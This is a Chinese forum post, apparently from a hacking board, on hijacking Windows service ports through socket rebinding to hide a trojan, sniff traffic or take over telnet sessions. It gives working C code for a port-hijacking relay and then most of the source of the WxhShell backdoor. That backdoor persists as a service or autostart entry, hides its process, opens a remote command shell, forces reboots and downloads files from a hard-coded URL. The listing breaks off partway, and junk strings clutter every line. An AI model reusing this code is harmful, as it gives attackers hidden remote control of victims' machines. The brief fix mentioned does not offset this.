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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: MqXN,n+`k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); #`P4s>IL1  
m09 Bds  
  saddr.sin_family = AF_INET; %zg&eFRHI  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); /JPyADi  
"g7`Ytln  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q7-Eu4w  
uQ4WM  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 \D8d!gr  
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  这意味着什么?意味着可以进行如下的攻击: {3Z&C$:s  
Y$8 >fv  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 3RpDIl`0  
]Y!$HT7\  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lxTW1kr  
Z IfhC'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;5tSXgGw7  
e6{}hiM  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1X\dH<B}  
J[fjl 6p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [bH5UTA  
%h;~@-$  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X^4HYm  
M|e Qds  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Qn> 0s  
(I~-mzu\  
  #include BR5r K  
  #include )cc:Z7p  
  #include V6'"J  
  #include    Y=JfV  
  DWORD WINAPI ClientThread(LPVOID lpParam);   (hTe53d<S?  
  int main() o$I% 1  
  { +,=DUsI}  
  WORD wVersionRequested; <_&H<]t%rI  
  DWORD ret; > t *+FcD  
  WSADATA wsaData; L1#z'<IO  
  BOOL val; ws:@Pe4AF  
  SOCKADDR_IN saddr; pv%UsbY  
  SOCKADDR_IN scaddr; FVkb9(WW  
  int err; f1F#U @U  
  SOCKET s; >W[8wR  
  SOCKET sc; T 'pX)ZH  
  int caddsize; >jU.R;H5  
  HANDLE mt; .L'>1H]B  
  DWORD tid;   FJl#NOp&  
  wVersionRequested = MAKEWORD( 2, 2 ); _ 1[5~Pnh  
  err = WSAStartup( wVersionRequested, &wsaData ); (C/2shr 8  
  if ( err != 0 ) { ON~jt[  
  printf("error!WSAStartup failed!\n"); fw@n[u{~  
  return -1; '6*^s&H~  
  } 2<Lnfc<^k  
  saddr.sin_family = AF_INET; 3A2X1V"  
   ]8*#%^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]v7f9MC'\  
der'<Q.U:k  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); U CzIOxp}  
  saddr.sin_port = htons(23); S0C 7'H%?#  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y9fktg.  
  { #N\kMJl$l  
  printf("error!socket failed!\n"); LU5e!bP  
  return -1;  6jFc'  
  } C*kGB(H7  
  val = TRUE; o9+ "6V|.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 4bD^Kc 4\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1wpT"5B  
  { D{YAEG   
  printf("error!setsockopt failed!\n"); 4f/2gI1@B  
  return -1; SBo>\<@  
  } -d? 9Acd  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T-pes1Wu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 v5U\E`)s  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 dD@k{5  
*Q=ER  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6tXx--Nh  
  { jt-Cy  
  ret=GetLastError(); %(h-cuhq  
  printf("error!bind failed!\n"); }MAvEaUd  
  return -1; a]^hcKo4  
  } t3!?F(&  
  listen(s,2); s"b()JP  
  while(1) We3Z#}X  
  { mB &nN+MV  
  caddsize = sizeof(scaddr); Z3E957}  
  //接受连接请求 ]JB~LQz]k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); T4n.C~  
  if(sc!=INVALID_SOCKET) !$r4 lu  
  { a=bP   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~`M>&E@Y_/  
  if(mt==NULL) \ } ,="  
  { WvVHSa4{  
  printf("Thread Creat Failed!\n"); .8[B }S(  
  break; ')%Kv`hz  
  } HlEp Dph%  
  } Eyu]0+  
  CloseHandle(mt); "TB4w2?=  
  } 'j>+eA>  
  closesocket(s); BH _y0[y  
  WSACleanup(); Nx>WOb98  
  return 0; N=hr%{} c  
  }   4/; X-  
  DWORD WINAPI ClientThread(LPVOID lpParam) ' O1X+  
  { #@xSR:m  
  SOCKET ss = (SOCKET)lpParam; rJi;"xF8  
  SOCKET sc; cbvK;;  
  unsigned char buf[4096]; WJvD,VMz  
  SOCKADDR_IN saddr; d5$2*h{^v  
  long num; VXEA.Mko  
  DWORD val; 9 ! [oJ3  
  DWORD ret; &>kklP  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #;GIvfW  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /rp.H'hC  
  saddr.sin_family = AF_INET; \,jrug<C$^  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Qzy[  
  saddr.sin_port = htons(23); {H OvJ`tM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) $P#Cf&R  
  { Wlm%W>%  
  printf("error!socket failed!\n"); k{ >rI2;  
  return -1; .ruGS.nS4  
  } /5M@>A^?'  
  val = 100; \q#s/&b   
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) z-(@j;.  
  { o3*IfD  
  ret = GetLastError(); .sNUU 3xSC  
  return -1; 9!sx  
  } jR<yV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `M?C(  
  { g;)xf?A9q  
  ret = GetLastError(); - Z?rx5V;t  
  return -1; ZAe>MNtW  
  } r:.5O F}  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) M,1Yce%+}  
  { ])paU8u  
  printf("error!socket connect failed!\n"); Am3^3>  
  closesocket(sc); Iw(2D(se  
  closesocket(ss); [oN}zZP]  
  return -1; {?*3Ou  
  } ^)=c74;;  
  while(1) ]UyIp`nV;  
  { ?Pz:H/ $  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 )%p.v P'p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 o_   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 S%n5,vwE  
  num = recv(ss,buf,4096,0); (pXZ$R:  
  if(num>0)  Isv@V.  
  send(sc,buf,num,0); cQDn_Sjhi  
  else if(num==0) #iD5& klo\  
  break; U1(<1eTyu  
  num = recv(sc,buf,4096,0); \.p{~ Hv  
  if(num>0) Hb5^+.xur  
  send(ss,buf,num,0); q)R&npP7  
  else if(num==0) `[\*1GpAo  
  break; NyU~8?bp  
  } v{4K$o  
  closesocket(ss); xXQ#?::m  
  closesocket(sc); Q: ?]:i/*  
  return 0 ; lO},fM2j  
  } Omo1p(y  
8m Tjf Br  
`?VtB!p@x=  
========================================================== <(x[Qp/5P  
1c);![O  
下边附上一个代码,,WXhSHELL g+8{{o=  
yv| |:wZC  
========================================================== $(v1q[ig  
>*rsRR  
#include "stdafx.h" `9M:B&  
+jD?h-]  
#include <stdio.h> b*=eMcd  
#include <string.h> PY7j uS[+  
#include <windows.h> %.,-dV'  
#include <winsock2.h> J^[>F{8!n  
#include <winsvc.h> ]0P-?O:  
#include <urlmon.h> ,^,KWi9  
b,kXV<KtU  
#pragma comment (lib, "Ws2_32.lib") _ +Ww1 f  
#pragma comment (lib, "urlmon.lib") )@)wcf!b  
FNlzpCT~L  
#define MAX_USER   100 // 最大客户端连接数 6L Z(bP'd;  
#define BUF_SOCK   200 // sock buffer "e62g  
#define KEY_BUFF   255 // 输入 buffer NYtp&[s2-  
SPKGbp&  
#define REBOOT     0   // 重启 $ hwJjSZ0  
#define SHUTDOWN   1   // 关机 O57n<J'6  
"l~wzPY)  
#define DEF_PORT   5000 // 监听端口  e#0C  
v>zeK  
#define REG_LEN     16   // 注册表键长度 I$sJ8\|gw'  
#define SVC_LEN     80   // NT服务名长度 !7ct=L  
vgRjd1k.\y  
// 从dll定义API &L}e&5  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 0-#SvTf>;:  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [eL?O;@BD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 0eq="|n^|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xZAc~~9tD  
B0I(/ 7  
// wxhshell配置信息 6wH]W+A  
struct WSCFG { O o9 ePw7  
  int ws_port;         // 监听端口 =N,9#o6^  
  char ws_passstr[REG_LEN]; // 口令 mKY}+21!Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no vfAR^*7e  
  char ws_regname[REG_LEN]; // 注册表键名 =*0<.Lo':  
  char ws_svcname[REG_LEN]; // 服务名 KK" uSC  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 nxH=Ut7{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^t4T8ejn  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -U;2 b_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uP bvN[~t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dr3#?%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5 {cbcuG  
<i34;`)b  
}; 4Z>KrFO  
--E_s /   
// default Wxhshell configuration Dp|y&x!  
struct WSCFG wscfg={DEF_PORT, =$3]%b}  
    "xuhuanlingzhe", u50 o1^<X  
    1, yVd}1bX  
    "Wxhshell", 27q 9zi!Q  
    "Wxhshell", R}lS@w1  
            "WxhShell Service", lN$#lyy  
    "Wrsky Windows CmdShell Service", Dd8*1,  
    "Please Input Your Password: ", $p@V1"x  
  1, 6|gC##T  
  "http://www.wrsky.com/wxhshell.exe", @,0W(  
  "Wxhshell.exe" W/COrgbW  
    }; LwIl2u*  
F9(*MP|  
// 消息定义模块 /bm$G"%d  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y]$%>N0vLX  
char *msg_ws_prompt="\n\r? for help\n\r#>"; B|E4(,]^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v-u53Fy  
char *msg_ws_ext="\n\rExit."; $%9.qy\8  
char *msg_ws_end="\n\rQuit."; EJ7}h?a]U_  
char *msg_ws_boot="\n\rReboot..."; ^eke,,~  
char *msg_ws_poff="\n\rShutdown..."; 4'JuK{/ A7  
char *msg_ws_down="\n\rSave to "; _bB:1l?V  
rhU]b $A  
char *msg_ws_err="\n\rErr!"; 5P~{*of  
char *msg_ws_ok="\n\rOK!"; z0[_5Cm/  
*aF#on{  
char ExeFile[MAX_PATH]; Dizc#!IGU  
int nUser = 0; >t_5( K4  
HANDLE handles[MAX_USER]; |r2 U4 ^  
int OsIsNt;  ! K:  
e= $p(  
SERVICE_STATUS       serviceStatus; %5<uQc9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AA[(rw  
gZbC[L  
// 函数声明 ktX\{g!U  
int Install(void); I6?n>  
int Uninstall(void); _7df(+.{<A  
int DownloadFile(char *sURL, SOCKET wsh); Tjba @^T  
int Boot(int flag); ?K9&ye_rgw  
void HideProc(void); B:5\+_a!  
int GetOsVer(void); 82ay("ZY  
int Wxhshell(SOCKET wsl); HD^Ou5YB  
void TalkWithClient(void *cs); f5p>oXo4b  
int CmdShell(SOCKET sock); Pi|WOE2  
int StartFromService(void); # +OEO  
int StartWxhshell(LPSTR lpCmdLine); Q/'jw yj_  
qRk&bF/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;tK%Q~To  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KLVkPix;$  
R5PXX&Q  
// 数据结构和表定义 NN(ZH73  
SERVICE_TABLE_ENTRY DispatchTable[] = t5 :4'%|  
{ GG0l\! 2)  
{wscfg.ws_svcname, NTServiceMain}, c:QZ(8d]L  
{NULL, NULL} i*-[-hn-V  
}; ~,j52obR6Z  
I =G3  
// 自我安装 >2Z0XEe  
int Install(void) @'UbTB!  
{ YC(7k7  
  char svExeFile[MAX_PATH]; -E, d)O`;$  
  HKEY key; M\4pTcz{  
  strcpy(svExeFile,ExeFile); @Z9X^Y+u^h  
qPle=6U[IL  
// 如果是win9x系统,修改注册表设为自启动 kpT>xS^6<  
if(!OsIsNt) { _}8hE v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d.wu   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); OCR`1  
  RegCloseKey(key); ~<[$.8*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }G8gk"st  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z4 GcS/3K  
  RegCloseKey(key); )UBU|uYR\  
  return 0; 7.V'T=@x3)  
    }  6/u]r  
  } )-yJKmV  
} 9g %1^$R  
else { ]Rah,4?9f  
Udj!y$?  
// 如果是NT以上系统,安装为系统服务 fC6zDTis8A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 3<Qe'd ^  
if (schSCManager!=0) %t&   
{ \YXzq<7  
  SC_HANDLE schService = CreateService tOUpK20q.@  
  ( T!-*;yu  
  schSCManager, +qN}oyL  
  wscfg.ws_svcname, |"}F cS y  
  wscfg.ws_svcdisp, e:W]B)0/e  
  SERVICE_ALL_ACCESS, _p;>]0cc.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , L!:8yJK  
  SERVICE_AUTO_START, >9-$E?Mt  
  SERVICE_ERROR_NORMAL, z;T_%?u  
  svExeFile, XPJsnu  
  NULL, BQ8vg8e]B  
  NULL, *u J0ZO9  
  NULL, {owXyQ2mK  
  NULL, dJYsn+  
  NULL <Wd#HKIG>l  
  ); A kMP)\Q  
  if (schService!=0) }57s  
  { H?]%b!gQG  
  CloseServiceHandle(schService); il8n K  
  CloseServiceHandle(schSCManager); @4)NxdOE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Oy(f h%k#  
  strcat(svExeFile,wscfg.ws_svcname); <Z b~tYp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { pl#2J A8  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); tVI6GXH  
  RegCloseKey(key); R1sWhB99  
  return 0; g|STegg  
    } sd5%Szx  
  } &A/k{(.XP  
  CloseServiceHandle(schSCManager); *A<vrkHz  
} mVaWbR@HS  
} kZb #k#  
]1Wh3C  
return 1; <8J_[ S  
} CjRU3 (Q  
oz.#+t%X$b  
// 自我卸载 #uRj9|E7  
int Uninstall(void)  _'Jz+f.  
{ L0lqm0h  
  HKEY key; ( *&E~ g  
Py@/\V  
if(!OsIsNt) { 9~7s*3zI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8]@$7hy8  
  RegDeleteValue(key,wscfg.ws_regname); G'#f*) f  
  RegCloseKey(key); 7\0}te  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  a,ff8Qm  
  RegDeleteValue(key,wscfg.ws_regname); Lg%3M8-W~  
  RegCloseKey(key); nrEG4X9  
  return 0; 9Sey&x  
  } gZf8/Tp\z  
} s(.H"_ a  
} ID_#a9N  
else { M)qb6aD0  
}Fq~!D Ee  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); EvP\;7B  
if (schSCManager!=0) 5^5hhm4  
{ n g,&;E  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |KMwK png  
  if (schService!=0) 0 s$;3qE  
  { 1 ORA6  
  if(DeleteService(schService)!=0) { h_>DcVNIx  
  CloseServiceHandle(schService); uh<e- ;vU  
  CloseServiceHandle(schSCManager); [d?tf  
  return 0; ]&;K:#J  
  } ?-v]+<$Y  
  CloseServiceHandle(schService); =w5]o@  
  } P Dgd'y  
  CloseServiceHandle(schSCManager); '.B5CQ  
} fxQ4kiI  
} xqQLri}  
-HU4Ow  
return 1; pN4gHi=  
} g)mjw  
:<P3fW  
// 从指定url下载文件 2MU$OI0|  
int DownloadFile(char *sURL, SOCKET wsh) \1ncr4  
{ `B$rr4_  
  HRESULT hr; $P h#pM(  
char seps[]= "/"; 6 h%,%  
char *token; Tlm::S   
char *file; Fks #Y1rI  
char myURL[MAX_PATH]; V(5*Dn84  
char myFILE[MAX_PATH]; }?)U`zF)7}  
p]eVby"  
strcpy(myURL,sURL); @|PUet_pb  
  token=strtok(myURL,seps); cj\?vX\V  
  while(token!=NULL) Ul<:Yt&nI  
  { koa-sy)#L  
    file=token; hiKyU! )Hv  
  token=strtok(NULL,seps); z -c1,GOD  
  } C=Tq/L w  
{ePtZyo0  
GetCurrentDirectory(MAX_PATH,myFILE); vR7S !  
strcat(myFILE, "\\"); ^M)+2@6  
strcat(myFILE, file); 7G+E+A5o&  
  send(wsh,myFILE,strlen(myFILE),0); K>vi9,4/ks  
send(wsh,"...",3,0); $%6.lQ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yvWM]A  
  if(hr==S_OK) 9RPZj>ezjA  
return 0; Q~f mVWq  
else Ge`PVwn  
return 1; /.WIED}>  
az1#:Go  
} K (,MtY*  
_Ie?{5$ng`  
// 系统电源模块 qi*Dd[OG  
int Boot(int flag) &n'@L9v81  
{ IhHKRb[  
  HANDLE hToken; wq7h8Z}l  
  TOKEN_PRIVILEGES tkp; V!Pe%.>  
@u @,Edh  
  if(OsIsNt) { u]*f^/6Q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); l@0${&n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Vq599M:)V  
    tkp.PrivilegeCount = 1; %i) 0sE T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; d=0{vsrB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); PjP6^"  
if(flag==REBOOT) { 9H/C(Vo  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) GOsOFs"I  
  return 0; #p<(2wN  
} _fdD4-2U  
else { jmG)p|6  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }` YtXD-o  
  return 0;  (l-l Y  
} ZPG~@lU  
  } kni{1Gr  
  else { ?3%r:g4  
if(flag==REBOOT) { y>X(GF^  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Px3I+VP  
  return 0; <@$+uZt+  
} S.Q:O{]  
else { Q?bCQZ{-Lh  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %ol\ sO|  
  return 0; [Z2{S-)UM  
} Ga_Pt8L6  
} Q@uWh:  
Ob/i_  
return 1; R7 rO7M !  
} =M6{{lI/  
"A*;V  
// win9x进程隐藏模块 {"2Hv;x  
void HideProc(void) Mh2Zj  
{ TBIr^n>Z<k  
r~G  amjS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >`l^ C  
  if ( hKernel != NULL ) ;H3~r^>c  
  { yIC C8M  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); I Z|EPzS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <KJ|U0/jGd  
    FreeLibrary(hKernel); ^u2x26].  
  } / */"gz%  
}qJ`nN8  
return; /BN=Kl]  
} }G "EdhSl  
5IA3\G}+  
// 获取操作系统版本 =w3cF)&  
int GetOsVer(void) e)y+]  
{ /#z"c]#  
  OSVERSIONINFO winfo; 9C8 G(r  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); di(H-=9G62  
  GetVersionEx(&winfo); r0@s3/  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xSqr=^  
  return 1; *&tTiv{^  
  else a)*(**e$*i  
  return 0; dV{mmHL  
} H& $M/`  
 6HPuCP  
// 客户端句柄模块 *+k yuY J  
int Wxhshell(SOCKET wsl) l_4 ^TYF  
{ Cd ]g+R}j  
  SOCKET wsh; :*/g~y(fE  
  struct sockaddr_in client; B6j/"x6N15  
  DWORD myID; ]4r&Q4d>O  
Kf6 D)B 26  
  while(nUser<MAX_USER) )W6l/  
{ E`.:V<KW/  
  int nSize=sizeof(client); K"[\)&WBG  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); +tlBOl $  
  if(wsh==INVALID_SOCKET) return 1; Ljiw9*ZI  
K%W;-W*'  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); zf]e"e  
if(handles[nUser]==0) OnU-FX<  
  closesocket(wsh); 'BUfdb8d  
else &'`ki0Xh;  
  nUser++; NHQoP&OG  
  } WFzM s  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q{%~(A5*H  
5i}g$yjZ<  
  return 0; upaQoX/C  
} E#3tkFF0Z[  
3}8L!2_p  
// 关闭 socket *7=`]w5k1  
void CloseIt(SOCKET wsh) ~N/a\%`  
{ *&I _fAh]  
closesocket(wsh); >K&chg@Hv  
nUser--; .'.bokl/  
ExitThread(0); |26[=_[q  
} h:|BQC  
:0ltq><?  
// 客户端请求句柄 ll[&O4.F  
void TalkWithClient(void *cs) cq5^7.  
{ 9KB}?~Nx4  
$=ESY>MO  
  SOCKET wsh=(SOCKET)cs; ^O =G%de  
  char pwd[SVC_LEN]; cs _  
  char cmd[KEY_BUFF]; M6 8foeeN  
char chr[1]; <$pv;]n  
int i,j; cL!A,+S[_  
u\M xQIo'u  
  while (nUser < MAX_USER) { '@ p464  
ho)JY $#6  
if(wscfg.ws_passstr) { }I MV@z B  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;y{(#X#  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?S9vYaA$  
  //ZeroMemory(pwd,KEY_BUFF); a@Zolz_Z  
      i=0; e2BC2K0  
  while(i<SVC_LEN) { f`*VNB`  
O,-NzGs  
  // 设置超时 miTff[hsMa  
  fd_set FdRead; I;1)a4Xc4R  
  struct timeval TimeOut; 2ga8 G4dU  
  FD_ZERO(&FdRead); _>aP5g?Ep  
  FD_SET(wsh,&FdRead); ~{);Ab.9+  
  TimeOut.tv_sec=8; -E3cS  
  TimeOut.tv_usec=0; s|:1z"q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,jtaTG.>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +Wgfxk'{  
\YFM5l;IU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OHW|?hI=[  
  pwd=chr[0]; @ULWVS#t2  
  if(chr[0]==0xd || chr[0]==0xa) { /2hRL yeAZ  
  pwd=0; Q&+)Kp]A  
  break; ?RIf0;G  
  } FV3[7w=D\  
  i++; :>o 0zG[;f  
    } o2hk!#5[4  
[clwmx  
  // 如果是非法用户,关闭 socket A|]#b?-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'x<oILOG  
} 2`%a[t@M.  
hSXJDT2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K3UN#G)U  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C@\5%~tW+  
@$t\yBSK  
while(1) { ho B[L}<c  
nz'6^D7`r  
  ZeroMemory(cmd,KEY_BUFF); G<$8g-O;D  
D%LYQ  
      // 自动支持客户端 telnet标准   Sv0?_3C  
  j=0; $.:x3TsA  
  while(j<KEY_BUFF) { Owgy<@C  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w El-  
  cmd[j]=chr[0]; CEBG9[|  
  if(chr[0]==0xa || chr[0]==0xd) { `m8WLj  
  cmd[j]=0; Pa+_{9  
  break; `u R`O9)e  
  } 1c429&-  
  j++; RHpjJZUV  
    } R*FDg;t4  
C"mWO Y2]  
  // 下载文件 lN8l71N^  
  if(strstr(cmd,"http://")) { 1 ?Zw  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); En#Q p3  
  if(DownloadFile(cmd,wsh)) _d!o,=}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); $-~"G,;F  
  else ,nCvA%B!  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S0gxVd(  
  } h^qZi@L  
  else { F u^j- Io  
b62B|0i  
    switch(cmd[0]) { rlawH}1b  
  ~Hv>^u Mh  
  // 帮助 J .TK<!  
  case '?': { $~/cxLcT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r\FZ-gk}Q  
    break; Iz-mUD0;  
  } Q<g>WNb  
  // 安装 /Hq  
  case 'i': { ~tV7yY|zr  
    if(Install()) o)n)Z~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D/ sYH0.V$  
    else l?rLadvc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q8-hbWNm4  
    break; _dz ZS(7M6  
    } }p)Hw2  
  // 卸载 >SL mlK  
  case 'r': { p >ua{}!L  
    if(Uninstall()) C984Ee  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W[a"&,okqO  
    else sf[|8}(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 42A'`io[w]  
    break; Y'bz>@1(  
    } MP<]-M'|<  
  // 显示 wxhshell 所在路径 W[qy4\.B  
  case 'p': { sLJ]N0t  
    char svExeFile[MAX_PATH]; /V`SJ"  
    strcpy(svExeFile,"\n\r"); L6i|5 P  
      strcat(svExeFile,ExeFile); 9wGsHf8]  
        send(wsh,svExeFile,strlen(svExeFile),0); Eu "8IM!%-  
    break; Jc}6kFgO6  
    } @1gURx&2_  
  // 重启 \>}#[?y  
  case 'b': { U{bv|vF  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); IbL'Z   
    if(Boot(REBOOT)) N-&ZaK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +F8K%.Q_  
    else { kaiK1/W0;  
    closesocket(wsh); njZ vi}m~  
    ExitThread(0); TU2oQ1  
    } ^Go,HiB  
    break; W2fcY;HZ  
    } =3A4.nW  
  // 关机 c2,g %(  
  case 'd': { v_pe=LC{-e  
